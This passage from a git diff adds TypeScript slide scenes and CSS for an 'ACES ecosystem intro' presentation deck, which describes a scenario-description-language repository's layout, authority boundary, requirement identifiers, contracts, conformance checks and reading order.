sec.appendChild(title); + sec.appendChild(lede); + body.appendChild(sec); + }, + beats: (tl, id) => { + tl.addLabel('section-in', 0); + fadeIn(tl, id, '.ax-section__num', 0); + fadeIn(tl, id, '.ax-section__title', 0.2, { y: 14, duration: 0.6 }); + fadeIn(tl, id, '.ax-section__lede', 0.65); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// §3.1 — Top-level layout +// ---------------------------------------------------------------------- + +const layoutScene = buildScene({ + id: 'aces-3-layout', + title: 'ACES — layout', + caption: 'Top-level directories and their stated purposes.', + section: '§3 · 1', + cite: 'README.md:118–127', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Top-level directories'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Eight roots.'; + + const table = d.createElement('table'); + table.className = 'ax-table ax-table--narrow'; + table.innerHTML = ` + + PathStated role + + + specs/Normative prose and formal specification material. + contracts/Published schemas, fixtures, manifests, and profiles. + implementations/Reference implementations and their local tooling. + examples/Worked SDL scenarios; reusable authoring templates and patterns. + docs/Explanatory documentation, API docs, architecture decisions. + research/Supporting literature and reference ecosystem material. + tools/Repository maintenance, policy, and publication tooling. + changelog.d/towncrier release note fragments. + + `; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(table); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('layout-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-table', 0.55, { duration: 0.6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §3.2 — Authority +// ---------------------------------------------------------------------- + +const authorityScene = buildScene({ + id: 'aces-3-authority', + title: 'ACES — authority', + caption: 'Authority boundary identifies which roots carry normative weight.', + section: '§3 · 2', + cite: 'specs/README.md:13–14 · ADR-009 · ADR-019', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Authority'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Authority boundary.'; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `specs/authority/authority-boundary.yaml is the canonical authority manifest (ASR-517) ${cite('specs/README.md:13–14')}. It identifies which repository roots carry normative authority. The contracts boundary — contracts/ — is the authority surface for machine-readable contracts, fixtures, and profiles ${cite('contracts/README.md:31–33')}.`; + + const dl = d.createElement('dl'); + dl.className = 'ax-defs'; + const rows: readonly { dt: string; dd: string }[] = [ + { dt: 'ADR-009', dd: 'Normative artifact authority and repository structure.' }, + { dt: 'ADR-019', dd: 'Authority manifest format and governance.' }, + { + dt: 'specs/', + dd: 'Normative documents defining repository semantics independent of any single implementation.', + }, + { dt: 'contracts/', dd: 'Authority boundary for published machine-readable artifacts.' }, + ]; + for (const r of rows) { + const dt = d.createElement('dt'); + dt.textContent = r.dt; + const dd = d.createElement('dd'); + dd.textContent = r.dd; + dl.appendChild(dt); + dl.appendChild(dd); + } + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(prose); + content.appendChild(dl); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('auth-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-prose', 0.55); + fadeIn(tl, id, '.ax-defs dt', 0.95, { stagger: 0.08, y: 6 }); + fadeIn(tl, id, '.ax-defs dd', 1.0, { stagger: 0.08, y: 6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §3.3 — Identifier conventions +// ---------------------------------------------------------------------- + +const identifiersScene = buildScene({ + id: 'aces-3-identifiers', + title: 'ACES — identifiers', + caption: 'Requirement identifiers use a domain prefix.', + section: '§3 · 3', + cite: 'ADR-016 · AGENTS.md · .ground-control.yaml', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Identifier conventions'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Domain-prefixed requirement IDs.'; + + const table = d.createElement('table'); + table.className = 'ax-table ax-table--codes'; + table.innerHTML = ` + + PrefixDomainExample + + + SEM-*Semantic layerSEM-200 Shared Semantic Integrity + ASR-*AssuranceASR-517 authority manifest + AUT-*AuthoringAUT-806 template / pattern library + API-*API / runtime contractAPI-400 series + RUN-*RuntimeRUN-301 series + GOV-*GovernanceGOV-918 + ACT-*Actions / eventsACT-602 + + `; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `Requirements are tracked in Ground Control (.ground-control.yaml). The semantic layer carries ~28 SEM-2xx child requirements under the SEM-200 umbrella ${cite('docs/decisions/adrs/adr-016-semantic-layer-scope-and-coverage-model.md')}.`; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(table); + content.appendChild(prose); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('ids-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-table', 0.55, { duration: 0.6 }); + fadeIn(tl, id, '.ax-prose', 1.1); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §4 — Section title +// ---------------------------------------------------------------------- + +const section4 = buildScene({ + id: 'aces-4', + title: 'ACES — §4 title', + caption: 'Section four. Contracts and conformance.', + section: '§4', + build: (body, d) => { + const sec = d.createElement('div'); + sec.className = 'ax-section'; + const num = d.createElement('div'); + num.className = 'ax-section__num'; + num.textContent = 'Section 4'; + const title = d.createElement('h2'); + title.className = 'ax-section__title'; + title.textContent = 'Contracts and conformance.'; + const lede = d.createElement('p'); + lede.className = 'ax-section__lede'; + lede.textContent = 'The published machine-readable surface and how it is enforced.'; + sec.appendChild(num); + sec.appendChild(title); + sec.appendChild(lede); + body.appendChild(sec); + }, + beats: (tl, id) => { + tl.addLabel('section-in', 0); + fadeIn(tl, id, '.ax-section__num', 0); + fadeIn(tl, id, '.ax-section__title', 0.2, { y: 14, duration: 0.6 }); + fadeIn(tl, id, '.ax-section__lede', 0.65); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// §4.1 — Contracts surface +// ---------------------------------------------------------------------- + +const contractsScene = buildScene({ + id: 'aces-4-contracts', + title: 'ACES — contracts', + caption: 'contracts/ holds schemas, profiles, fixtures, and the publication manifest.', + section: '§4 · 1', + cite: 'contracts/README.md · contracts/schemas/README.md', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'contracts/'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'The published machine-readable surface.'; + + const table = d.createElement('table'); + table.className = 'ax-table ax-table--narrow'; + table.innerHTML = ` + + PathContent + + + contracts/schemas/Language-neutral JSON Schema documents (SDL authoring input, scenario instantiation, apparatus manifests v1/v2, concept-authority catalogs, controlled vocabularies, reference models, semantic profiles, runtime snapshots, workflow / evaluator result envelopes). + contracts/profiles/backend/Four backend capability profiles: provisioning-only, orchestration-capable, orchestration-evaluation, full-remote-control-plane. + contracts/profiles/semantic/Reference semantic profile (reference-stack-v1). + contracts/fixtures/Canonical fixture corpus, organised by contract id with valid/ and invalid/ JSON exemplars. + schema-publication-manifest.jsonAuthoritative publication inventory; the contracts verification gate checks parity with contracts/schemas/. + + `; + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(table); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('contracts-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-table', 0.55, { duration: 0.6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §4.2 — Conformance +// ---------------------------------------------------------------------- + +const conformanceScene = buildScene({ + id: 'aces-4-conformance', + title: 'ACES — conformance', + caption: + 'Conformance is implementation-side. It validates backend manifests against fixtures and capability profiles under closed-world semantics.', + section: '§4 · 2', + cite: 'docs/explain/reference/backend-conformance.md:5–32', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Conformance'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'How the contract surface is enforced.'; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `Conformance is implemented as a verifier under implementations/python/packages/aces_conformance/, not as a normative artifact under contracts/ ${cite('docs/explain/reference/backend-conformance.md:5–8')}.`; + + const dl = d.createElement('dl'); + dl.className = 'ax-defs'; + const rows: readonly { dt: string; dd: string }[] = [ + { + dt: 'fixture corpus', + dd: 'contracts/fixtures/**//{valid,invalid}/*.json — the canonical inputs.', + }, + { + dt: 'profile corpus', + dd: 'contracts/profiles/backend/*.json — the canonical capability declarations.', + }, + { + dt: 'manifest validation', + dd: 'backend_manifest_payload() against backend-manifest-v2.', + }, + { + dt: 'closed-world', + dd: 'Pydantic ContractModel descendants with extra="forbid" reject unknown keys.', + }, + { + dt: 'authority validation', + dd: 'supported_contract_versions, concept bindings, capability vocabulary checked against authority.', + }, + ]; + for (const r of rows) { + const dt = d.createElement('dt'); + dt.textContent = r.dt; + const dd = d.createElement('dd'); + dd.textContent = r.dd; + dl.appendChild(dt); + dl.appendChild(dd); + } + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(prose); + content.appendChild(dl); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('conf-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-prose', 0.55); + fadeIn(tl, id, '.ax-defs dt', 0.95, { stagger: 0.08, y: 6 }); + fadeIn(tl, id, '.ax-defs dd', 1.0, { stagger: 0.08, y: 6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §4.3 — Verification gate +// ---------------------------------------------------------------------- + +const gateScene = buildScene({ + id: 'aces-4-gate', + title: 'ACES — verification', + caption: 'nox -s verify runs the canonical verification graph required for pull requests.', + section: '§4 · 3', + cite: 'README.md:162–169', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Verification'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'The canonical PR gate.'; + + const prose = d.createElement('p'); + prose.className = 'ax-prose'; + prose.innerHTML = `nox -s verify runs the canonical verification graph required for pull requests ${cite('README.md:162–169')}. Repository policy is enforced by tooling that lives under tools/.`; + + const dl = d.createElement('dl'); + dl.className = 'ax-defs'; + const rows: readonly { dt: string; dd: string }[] = [ + { dt: 'check_authority_boundary.py', dd: 'Enforces the authority manifest (ASR-517).' }, + { + dt: 'check_example_library.py', + dd: 'Enforces the example template/pattern catalog (AUT-806).', + }, + { dt: 'check_repo_policy.py', dd: 'Enforces general repository policy.' }, + { + dt: 'check_assurance_policy.py', + dd: 'Enforces classification-based assurance policy (ADR-018).', + }, + ]; + for (const r of rows) { + const dt = d.createElement('dt'); + dt.textContent = r.dt; + const dd = d.createElement('dd'); + dd.textContent = r.dd; + dl.appendChild(dt); + dl.appendChild(dd); + } + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(prose); + content.appendChild(dl); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('gate-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-prose', 0.55); + fadeIn(tl, id, '.ax-defs dt', 0.95, { stagger: 0.08, y: 6 }); + fadeIn(tl, id, '.ax-defs dd', 1.0, { stagger: 0.08, y: 6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// §5 — Section title +// ---------------------------------------------------------------------- + +const section5 = buildScene({ + id: 'aces-5', + title: 'ACES — §5 title', + caption: 'Section five. Reading after this talk.', + section: '§5', + build: (body, d) => { + const sec = d.createElement('div'); + sec.className = 'ax-section'; + const num = d.createElement('div'); + num.className = 'ax-section__num'; + num.textContent = 'Section 5'; + const title = d.createElement('h2'); + title.className = 'ax-section__title'; + title.textContent = 'Reading after this talk.'; + const lede = d.createElement('p'); + lede.className = 'ax-section__lede'; + lede.textContent = 'A traversal order through the repository.'; + sec.appendChild(num); + sec.appendChild(title); + sec.appendChild(lede); + body.appendChild(sec); + }, + beats: (tl, id) => { + tl.addLabel('section-in', 0); + fadeIn(tl, id, '.ax-section__num', 0); + fadeIn(tl, id, '.ax-section__title', 0.2, { y: 14, duration: 0.6 }); + fadeIn(tl, id, '.ax-section__lede', 0.65); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// §5.1 — Next reads +// ---------------------------------------------------------------------- + +const readsScene = buildScene({ + id: 'aces-5-reads', + title: 'ACES — next reads', + caption: 'A short reading order for someone new to the repository.', + section: '§5 · 1', + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'Reading order'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Where to look next.'; + + const list = d.createElement('ol'); + list.className = 'ax-toc'; + const rows: readonly { title: string; sub: string }[] = [ + { title: 'README.md', sub: 'Definition, repo layout, lineage.' }, + { + title: 'docs/explain/reference/glossary.md', + sub: 'Normative vocabulary; ~30 defined terms.', + }, + { + title: 'docs/decisions/adrs/adr-001-scenario-description-language.md', + sub: 'SDL design rationale; sections; validation model.', + }, + { + title: 'docs/explain/sdl/limitations.md', + sub: 'Expressiveness gaps; validated coverage; deferrals.', + }, + { + title: 'docs/decisions/adrs/adr-009-...repository-structure.md', + sub: 'Authority boundary; specs vs implementations vs contracts.', + }, + { + title: 'specs/concept-authority/concept-authority.md', + sub: 'Three-layer concept model; relation to UCO / STIX / CACAO.', + }, + { + title: 'docs/explain/reference/backend-conformance.md', + sub: 'Conformance architecture and what is enforced.', + }, + { + title: 'docs/decisions/adrs/adr-016-semantic-layer-...-model.md', + sub: 'Semantic layer scope; SEM-200 umbrella and child requirements.', + }, + { + title: 'docs/explain/sdl/lineage.md', + sub: 'Lineage from OCR SDL, CybORG, CACAO, STIX, OCSF, TENA, HLA, SISO.', + }, + { + title: 'research/program/aces-instrument-paper-details.md', + sub: 'Instrument validation papers (A1, A2, ...). Bridges to F1.', + }, + ]; + rows.forEach((r, i) => { + const row = d.createElement('li'); + row.className = 'ax-toc__row'; + const num = d.createElement('span'); + num.className = 'ax-toc__num'; + num.textContent = String(i + 1).padStart(2, '0'); + const text = d.createElement('span'); + text.className = 'ax-toc__text'; + text.innerHTML = `${escapeHtml(r.title)}${escapeHtml(r.sub)}`; + row.appendChild(num); + row.appendChild(text); + list.appendChild(row); + }); + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(list); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('reads-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-toc__num', 0.55, { stagger: 0.06, y: 6 }); + fadeIn(tl, id, '.ax-toc__text', 0.6, { stagger: 0.06, y: 6 }); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// References appendix +// ---------------------------------------------------------------------- + +const referencesScene = buildScene({ + id: 'aces-refs', + title: 'ACES — references', + caption: 'Cited documents.', + section: 'references · end', + holdForever: true, + build: (body, d) => { + const content = d.createElement('div'); + content.className = 'ax-content'; + + const eyebrow = d.createElement('div'); + eyebrow.className = 'ax-eyebrow'; + eyebrow.textContent = 'References'; + + const heading = d.createElement('h2'); + heading.className = 'ax-heading'; + heading.textContent = 'Cited documents.'; + + const list = d.createElement('ul'); + list.className = 'ax-refs'; + const rows: readonly { id: string; title: string; path: string }[] = [ + { id: 'R1', title: 'README', path: 'aces-sdl/README.md' }, + { id: 'R2', title: 'specs/ README', path: 'aces-sdl/specs/README.md' }, + { id: 'R3', title: 'contracts/ README', path: 'aces-sdl/contracts/README.md' }, + { + id: 'R4', + title: 'contracts/schemas/ README', + path: 'aces-sdl/contracts/schemas/README.md', + }, + { id: 'R5', title: 'Glossary', path: 'aces-sdl/docs/explain/reference/glossary.md' }, + { + id: 'R6', + title: 'SDL design (ADR-001)', + path: 'aces-sdl/docs/decisions/adrs/adr-001-scenario-description-language.md', + }, + { + id: 'R7', + title: 'Authority and repository structure (ADR-009)', + path: 'aces-sdl/docs/decisions/adrs/adr-009-normative-artifact-authority-and-repository-structure.md', + }, + { + id: 'R8', + title: 'Concept authority', + path: 'aces-sdl/specs/concept-authority/concept-authority.md', + }, + { + id: 'R9', + title: 'Backend conformance', + path: 'aces-sdl/docs/explain/reference/backend-conformance.md', + }, + { + id: 'R10', + title: 'Semantic layer model (ADR-016)', + path: 'aces-sdl/docs/decisions/adrs/adr-016-semantic-layer-scope-and-coverage-model.md', + }, + { id: 'R11', title: 'SDL limitations', path: 'aces-sdl/docs/explain/sdl/limitations.md' }, + { id: 'R12', title: 'SDL lineage', path: 'aces-sdl/docs/explain/sdl/lineage.md' }, + { + id: 'R13', + title: 'F1 literature-review plan', + path: 'research/program/lit-review/F1/lit-review-plan.md', + }, + { id: 'R14', title: 'F1 synthesis', path: 'research/program/lit-review/F1/synthesis.md' }, + { + id: 'R15', + title: 'ACES instrument paper details', + path: 'research/program/aces-instrument-paper-details.md', + }, + ]; + for (const r of rows) { + const li = d.createElement('li'); + li.innerHTML = `${escapeHtml(r.id)}${escapeHtml(r.title)} ${escapeHtml(r.path)}`; + list.appendChild(li); + } + + content.appendChild(eyebrow); + content.appendChild(heading); + content.appendChild(list); + body.appendChild(content); + }, + beats: (tl, id) => { + tl.addLabel('refs-in', 0); + fadeIn(tl, id, '.ax-eyebrow', 0); + fadeIn(tl, id, '.ax-heading', 0.18, { y: 10, duration: 0.5 }); + fadeIn(tl, id, '.ax-refs li', 0.5, { stagger: 0.025, y: 4, duration: 0.35 }); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// Export +// ---------------------------------------------------------------------- + +export const ACES_ECOSYSTEM_INTRO_SCENES: readonly SceneModule[] = [ + coverScene, + nonClaimScene, + tocScene, + section1, + ip1Scene, + rqScene, + corpusScene, + section2, + definitionScene, + sdlDocScene, + separatesScene, + notScene, + deferredScene, + section3, + layoutScene, + authorityScene, + identifiersScene, + section4, + contractsScene, + conformanceScene, + gateScene, + section5, + readsScene, + referencesScene, +]; diff --git a/src/decks/aces-ecosystem-intro/index.ts b/src/decks/aces-ecosystem-intro/index.ts new file mode 100644 index 0000000..134f089 --- /dev/null +++ b/src/decks/aces-ecosystem-intro/index.ts @@ -0,0 +1,18 @@ +// ACES ecosystem intro deck — public surface for workbench-graph. +// +// Side-effect imports pull this deck's bespoke CSS and the variable +// fonts the briefing register depends on into the bundle. The +// workbench-graph re-exports the scenes + composition entry; the side +// effects ride along whenever this module is imported. + +import '@fontsource-variable/inter'; +import '@fontsource-variable/jetbrains-mono'; +import '@fontsource-variable/source-serif-4'; +import './styles.css'; + +export { + ACES_ECOSYSTEM_INTRO_COMPOSITION_ID, + acesEcosystemIntroComposition, + acesEcosystemIntroCompositionEntry, +} from './composition'; +export { ACES_ECOSYSTEM_INTRO_SCENES } from './content'; diff --git a/src/decks/aces-ecosystem-intro/styles.css b/src/decks/aces-ecosystem-intro/styles.css new file mode 100644 index 0000000..8bea5a0 --- /dev/null +++ b/src/decks/aces-ecosystem-intro/styles.css @@ -0,0 +1,433 @@ +/* ACES ecosystem intro — bespoke per-deck styles. + * + * Standards-body briefing register. Warm off-white paper, ink type, + * Source Serif 4 for body, Inter for headings and structural labels, + * JetBrains Mono for identifiers (spec ids, file paths, F1 problem + * codes). Single accent: instrument-amber. Numbered sections, single + * column, ragged-right body, citations rendered inline as + * [Author Year]. Tables and labeled rows are the primary visual unit; + * no decorative icons, no gradients, no shadows. + * + * Every selector is scoped to `.aces-intro` (set as an extra class on + * each scene root) so this CSS cannot leak into other decks. + */ + +.aces-intro { + --ax-paper: #f7f5f0; + --ax-paper-warm: #efeadd; + --ax-ink: #111418; + --ax-ink-2: #2a2d33; + --ax-mute: #5c6168; + --ax-mute-2: #888c92; + --ax-rule: #c8c4b8; + --ax-rule-soft: #d8d4c6; + --ax-accent: #b8860b; + --ax-accent-tint: rgba(184, 134, 11, 0.12); + + --ax-serif: "Source Serif 4 Variable", "Source Serif 4", "Source Serif Pro", Georgia, serif; + --ax-sans: "Inter Variable", "Inter", -apple-system, "Segoe UI", system-ui, sans-serif; + --ax-mono: "JetBrains Mono Variable", "JetBrains Mono", ui-monospace, monospace; + + --ax-rail: clamp(56px, 7.5vw, 132px); + --ax-rule-w: 1px solid var(--ax-rule); + --ax-rule-soft-w: 1px solid var(--ax-rule-soft); +} + +.pulsar-template.aces-intro { + inset: 0; + background: var(--ax-paper); + color: var(--ax-ink); + font-family: var(--ax-serif); + font-feature-settings: "kern", "liga", "ss01"; + text-rendering: optimizeLegibility; + -webkit-font-smoothing: antialiased; + font-variant-numeric: oldstyle-nums proportional-nums; +} + +/* Single-column page frame with reserved header/footer rails. */ +.aces-intro .ax-page { + position: absolute; + inset: 0; + padding: clamp(44px, 6vh, 80px) var(--ax-rail) clamp(56px, 7vh, 96px); + display: grid; + grid-template-rows: auto 1fr auto; + row-gap: clamp(24px, 3vh, 44px); + max-width: 1640px; + margin: 0 auto; +} + +.aces-intro .ax-head, +.aces-intro .ax-foot { + display: flex; + justify-content: space-between; + align-items: baseline; + font-family: var(--ax-mono); + font-size: 11px; + letter-spacing: 0.08em; + text-transform: uppercase; + color: var(--ax-mute); +} + +.aces-intro .ax-head__mark { + font-weight: 600; + color: var(--ax-ink); +} + +.aces-intro .ax-foot__cite { + font-family: var(--ax-mono); + text-transform: none; + letter-spacing: 0; + color: var(--ax-mute); +} + +.aces-intro .ax-foot__num { + font-variant-numeric: tabular-nums; + font-feature-settings: "tnum"; +} + +.aces-intro .ax-body { + display: flex; + flex-direction: column; + justify-content: center; + min-height: 0; +} + +/* ---------- Cover ---------- */ + +.aces-intro .ax-cover { + display: flex; + flex-direction: column; + justify-content: center; + height: 100%; + max-width: 1100px; +} + +.aces-intro .ax-cover__title { + font-family: var(--ax-sans); + font-weight: 500; + font-size: clamp(120px, 16vw, 280px); + line-height: 0.9; + letter-spacing: -0.034em; + margin: 0; + opacity: 0; +} + +.aces-intro .ax-cover__expand { + margin: clamp(18px, 2vh, 28px) 0 0; + font-family: var(--ax-sans); + font-size: clamp(26px, 2.4vw, 40px); + font-weight: 400; + line-height: 1.15; + letter-spacing: -0.012em; + color: var(--ax-ink-2); + opacity: 0; +} + +.aces-intro .ax-cover__rule { + margin: clamp(28px, 3.5vh, 48px) 0 clamp(20px, 2.4vh, 32px); + height: 1px; + background: var(--ax-rule); + width: clamp(120px, 14vw, 200px); + opacity: 0; +} + +.aces-intro .ax-cover__abstract { + margin: 0; + font-family: var(--ax-serif); + font-size: clamp(17px, 1.4vw, 22px); + line-height: 1.55; + color: var(--ax-ink); + max-width: 62ch; + opacity: 0; +} + +.aces-intro .ax-cover__abstract cite { + font-style: normal; + font-family: var(--ax-mono); + font-size: 0.7em; + color: var(--ax-mute); + margin-left: 6px; + white-space: nowrap; +} + +/* ---------- Section title (§N. ...) ---------- */ + +.aces-intro .ax-section { + display: grid; + grid-template-rows: auto auto 1fr; + row-gap: clamp(20px, 2.5vh, 36px); + height: 100%; +} + +.aces-intro .ax-section__num { + font-family: var(--ax-mono); + font-size: 13px; + letter-spacing: 0.18em; + text-transform: uppercase; + color: var(--ax-mute); + opacity: 0; +} + +.aces-intro .ax-section__title { + font-family: var(--ax-sans); + font-weight: 500; + font-size: clamp(56px, 7.5vw, 128px); + line-height: 1; + letter-spacing: -0.024em; + margin: 0; + max-width: 22ch; + text-wrap: balance; + opacity: 0; +} + +.aces-intro .ax-section__lede { + font-family: var(--ax-serif); + font-size: clamp(20px, 1.7vw, 28px); + line-height: 1.45; + color: var(--ax-ink-2); + max-width: 48ch; + margin: 0; + opacity: 0; +} + +/* ---------- Standard content scene ---------- */ + +.aces-intro .ax-content { + display: flex; + flex-direction: column; + gap: clamp(16px, 1.8vh, 28px); + height: 100%; +} + +.aces-intro .ax-eyebrow { + font-family: var(--ax-mono); + font-size: 12px; + letter-spacing: 0.18em; + text-transform: uppercase; + color: var(--ax-mute); + opacity: 0; +} + +.aces-intro .ax-heading { + font-family: var(--ax-sans); + font-weight: 500; + font-size: clamp(36px, 4.6vw, 72px); + line-height: 1.1; + letter-spacing: -0.018em; + margin: 0; + max-width: 32ch; + text-wrap: balance; + opacity: 0; +} + +.aces-intro .ax-prose { + font-family: var(--ax-serif); + font-size: clamp(18px, 1.5vw, 24px); + line-height: 1.55; + color: var(--ax-ink); + max-width: 64ch; + margin: 0; + opacity: 0; +} + +.aces-intro .ax-prose .ax-cite, +.aces-intro .ax-cite { + font-family: var(--ax-mono); + font-size: 0.7em; + color: var(--ax-mute); + margin-left: 4px; + font-feature-settings: "tnum"; + word-break: keep-all; +} + +.aces-intro .ax-pull { + font-family: var(--ax-serif); + font-style: italic; + font-size: clamp(24px, 2.4vw, 38px); + line-height: 1.35; + color: var(--ax-ink); + border-left: 3px solid var(--ax-accent); + padding: clamp(8px, 1vh, 14px) 0 clamp(8px, 1vh, 14px) clamp(20px, 2vw, 32px); + margin: 0; + max-width: 56ch; + opacity: 0; +} + +.aces-intro .ax-pull cite { + display: block; + margin-top: clamp(10px, 1.2vh, 16px); + font-family: var(--ax-mono); + font-style: normal; + font-size: 12px; + color: var(--ax-mute); + letter-spacing: 0; +} + +/* ---------- Tables ---------- */ + +.aces-intro .ax-table { + margin: 0; + width: 100%; + border-collapse: collapse; + font-family: var(--ax-serif); + font-size: clamp(15px, 1.2vw, 19px); + line-height: 1.5; + font-variant-numeric: tabular-nums lining-nums; + opacity: 0; +} + +.aces-intro .ax-table th, +.aces-intro .ax-table td { + text-align: left; + vertical-align: top; + padding: clamp(10px, 1.4vh, 16px) clamp(14px, 1.5vw, 22px); + border-bottom: var(--ax-rule-soft-w); +} + +.aces-intro .ax-table th { + font-family: var(--ax-sans); + font-weight: 500; + font-size: 12px; + letter-spacing: 0.12em; + text-transform: uppercase; + color: var(--ax-mute); + border-bottom: var(--ax-rule-w); + padding-top: 0; +} + +.aces-intro .ax-table td:first-child, +.aces-intro .ax-table th:first-child { + padding-left: 0; +} + +.aces-intro .ax-table td:last-child, +.aces-intro .ax-table th:last-child { + padding-right: 0; +} + +.aces-intro .ax-table .ax-id { + font-family: var(--ax-mono); + font-size: 0.92em; + color: var(--ax-ink); + white-space: nowrap; +} + +.aces-intro .ax-table .ax-path { + font-family: var(--ax-mono); + font-size: 0.88em; + color: var(--ax-accent); + white-space: nowrap; +} + +.aces-intro .ax-table--narrow td:first-child, +.aces-intro .ax-table--narrow th:first-child { + width: 22%; +} + +.aces-intro .ax-table--codes td:first-child, +.aces-intro .ax-table--codes th:first-child { + width: 12ch; +} + +/* ---------- Definition rows ---------- */ + +.aces-intro .ax-defs { + display: grid; + grid-template-columns: minmax(0, 14ch) 1fr; + column-gap: clamp(24px, 2.4vw, 44px); + row-gap: clamp(12px, 1.4vh, 20px); + font-family: var(--ax-serif); + font-size: clamp(16px, 1.3vw, 21px); + line-height: 1.5; +} + +.aces-intro .ax-defs dt { + font-family: var(--ax-mono); + font-size: 0.92em; + color: var(--ax-ink); + padding-top: 2px; + opacity: 0; +} + +.aces-intro .ax-defs dd { + margin: 0; + color: var(--ax-ink); + opacity: 0; +} + +/* ---------- Numbered list (section map, reads) ---------- */ + +.aces-intro .ax-toc { + list-style: none; + padding: 0; + margin: 0; + display: grid; + grid-template-columns: minmax(0, 6ch) 1fr; + row-gap: clamp(14px, 1.8vh, 26px); + column-gap: clamp(24px, 2.5vw, 44px); + font-family: var(--ax-serif); + font-size: clamp(19px, 1.6vw, 26px); + line-height: 1.4; +} + +.aces-intro .ax-toc__num { + font-family: var(--ax-mono); + font-size: 0.8em; + color: var(--ax-mute); + padding-top: 0.4em; + font-variant-numeric: tabular-nums; + opacity: 0; +} + +.aces-intro .ax-toc__row { + display: contents; +} + +.aces-intro .ax-toc__text { + color: var(--ax-ink); + opacity: 0; +} + +.aces-intro .ax-toc__text small { + display: block; + margin-top: 6px; + font-family: var(--ax-mono); + font-size: 11px; + letter-spacing: 0.06em; + color: var(--ax-mute); +} + +/* ---------- Bibliography ---------- */ + +.aces-intro .ax-refs { + list-style: none; + padding: 0; + margin: 0; + font-family: var(--ax-serif); + font-size: clamp(13px, 1vw, 16px); + line-height: 1.5; + columns: 2; + column-gap: clamp(28px, 3vw, 56px); +} + +.aces-intro .ax-refs li { + break-inside: avoid; + 